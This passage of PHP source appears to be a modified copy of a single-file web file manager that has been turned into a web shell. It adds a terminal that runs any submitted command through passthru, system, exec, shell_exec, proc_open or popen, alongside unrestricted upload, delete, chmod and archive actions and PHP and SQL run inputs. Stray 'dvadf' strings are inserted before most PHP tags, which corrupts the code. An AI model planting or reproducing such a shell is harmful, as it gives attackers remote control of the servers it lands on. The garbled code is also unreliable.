        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
